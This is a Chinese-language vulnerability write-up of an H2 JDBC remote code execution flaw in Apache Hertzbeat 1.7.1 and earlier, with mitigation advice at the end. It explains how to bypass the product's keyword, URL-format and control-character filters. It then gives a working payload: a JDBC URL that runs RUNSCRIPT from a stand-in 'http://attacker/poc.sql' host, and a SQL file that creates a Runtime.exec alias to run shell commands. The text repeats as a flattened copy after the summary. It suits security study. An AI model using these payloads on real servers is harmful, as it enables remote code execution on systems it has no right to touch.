Apache Hertzbeat<=1.7.1 h2 jdbc RCE
字数 1165 2025-09-01 11:26:17

Apache Hertzbeat<=1.7.1 H2 JDBC RCE漏洞分析与利用

漏洞概述

Apache Hertzbeat是一个开源的实时监控系统,在1.7.1及以下版本中存在一个H2 JDBC远程代码执行漏洞。该漏洞源于对H2数据库JDBC连接URL的不当过滤,攻击者可以通过精心构造的JDBC URL绕过安全检测,实现任意代码执行。

环境搭建

使用Docker快速搭建测试环境:

docker run -d -p 1157:1157 -p 1158:1158 --name hertzbeat apache/hertzbeat:1.7.1

访问地址:http://127.0.0.1:1157/
默认凭证:admin/hertzbeat

漏洞原理

H2数据库特性

H2数据库是一个内存数据库,支持通过JDBC URL执行SQL脚本。关键特性包括:

  • 支持RUNSCRIPT FROM语法执行外部SQL文件
  • JDBC URL格式灵活,有多种变体

Hertzbeat的防护机制

Hertzbeat实现了三重防护机制:

  1. 关键字过滤:拦截runscript from等危险关键词
  2. URL格式校验:使用正则表达式验证JDBC URL格式
  3. 特殊字符过滤:过滤空格、制表符等控制字符

绕过技巧

  1. 关键字绕过

    • 使用ru\nscript from等换行方式绕过关键词检测
  2. URL格式绕过

    • 利用Linux与Windows路径解析差异
    • 标准H2内存模式URL:jdbc:h2:mem:testdb
    • 文件模式URL:jdbc:h2:file:E:/tmp/testdb
    • 绕过格式:jdbc:h2://mem/testdb(在Linux中解析为/mem/testdb
  3. 特殊字符绕过

    • 使用不可见字符替代空格(如Unicode字符\u001C

漏洞利用步骤

  1. 创建自定义监控模板

    • 参考官方代码编写H2类型的JDBC监控模板
  2. 构造恶意JDBC URL

    jdbc:h2://mem/./testdb;INIT=RUNSCRIPT\u001CFROM\u001C'http://attacker/poc.sql'
    
  3. 准备恶意SQL文件(poc.sql)

    CREATE ALIAS EXEC AS 'void exec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);}';
    CALL EXEC('touch /tmp/fushuling');
    
  4. 发送请求

    • 通过Hertzbeat界面添加监控时使用构造的JDBC URL

技术细节分析

Linux路径解析特性

  • POSIX系统中连续多个斜杠被视为单个斜杠
  • jdbc:h2://mem/testdb在Linux中被解析为/mem/testdb
  • H2会尝试在该路径创建数据库文件

不可见字符替代

  • 空格可用Unicode控制字符替代,如:
    • \u001C (文件分隔符)
    • \u001D (组分隔符)
    • \u001E (记录分隔符)
    • \u001F (单元分隔符)

防护建议

  1. 升级到最新版本
  2. 加强JDBC URL过滤:
    • 严格限制URL协议和格式
    • 过滤所有Unicode控制字符
  3. 限制数据库连接权限
  4. 实施最小权限原则

总结

该漏洞展示了即使有多重防护机制,仍可能通过精心构造的输入绕过检测。开发人员需要全面考虑各种边界情况和系统特性,才能实现有效的安全防护。

Apache Hertzbeat <=1.7.1 H2 JDBC RCE漏洞分析与利用 漏洞概述 Apache Hertzbeat是一个开源的实时监控系统,在1.7.1及以下版本中存在一个H2 JDBC远程代码执行漏洞。该漏洞源于对H2数据库JDBC连接URL的不当过滤,攻击者可以通过精心构造的JDBC URL绕过安全检测,实现任意代码执行。 环境搭建 使用Docker快速搭建测试环境: 访问地址: http://127.0.0.1:1157/ 默认凭证:admin/hertzbeat 漏洞原理 H2数据库特性 H2数据库是一个内存数据库,支持通过JDBC URL执行SQL脚本。关键特性包括: 支持 RUNSCRIPT FROM 语法执行外部SQL文件 JDBC URL格式灵活,有多种变体 Hertzbeat的防护机制 Hertzbeat实现了三重防护机制: 关键字过滤 :拦截 runscript from 等危险关键词 URL格式校验 :使用正则表达式验证JDBC URL格式 特殊字符过滤 :过滤空格、制表符等控制字符 绕过技巧 关键字绕过 : 使用 ru\nscript from 等换行方式绕过关键词检测 URL格式绕过 : 利用Linux与Windows路径解析差异 标准H2内存模式URL: jdbc:h2:mem:testdb 文件模式URL: jdbc:h2:file:E:/tmp/testdb 绕过格式: jdbc:h2://mem/testdb (在Linux中解析为 /mem/testdb ) 特殊字符绕过 : 使用不可见字符替代空格(如Unicode字符 \u001C ) 漏洞利用步骤 创建自定义监控模板 : 参考官方代码编写H2类型的JDBC监控模板 构造恶意JDBC URL : 准备恶意SQL文件(poc.sql) : 发送请求 : 通过Hertzbeat界面添加监控时使用构造的JDBC URL 技术细节分析 Linux路径解析特性 POSIX系统中连续多个斜杠被视为单个斜杠 jdbc:h2://mem/testdb 在Linux中被解析为 /mem/testdb H2会尝试在该路径创建数据库文件 不可见字符替代 空格可用Unicode控制字符替代,如: \u001C (文件分隔符) \u001D (组分隔符) \u001E (记录分隔符) \u001F (单元分隔符) 防护建议 升级到最新版本 加强JDBC URL过滤: 严格限制URL协议和格式 过滤所有Unicode控制字符 限制数据库连接权限 实施最小权限原则 总结 该漏洞展示了即使有多重防护机制,仍可能通过精心构造的输入绕过检测。开发人员需要全面考虑各种边界情况和系统特性,才能实现有效的安全防护。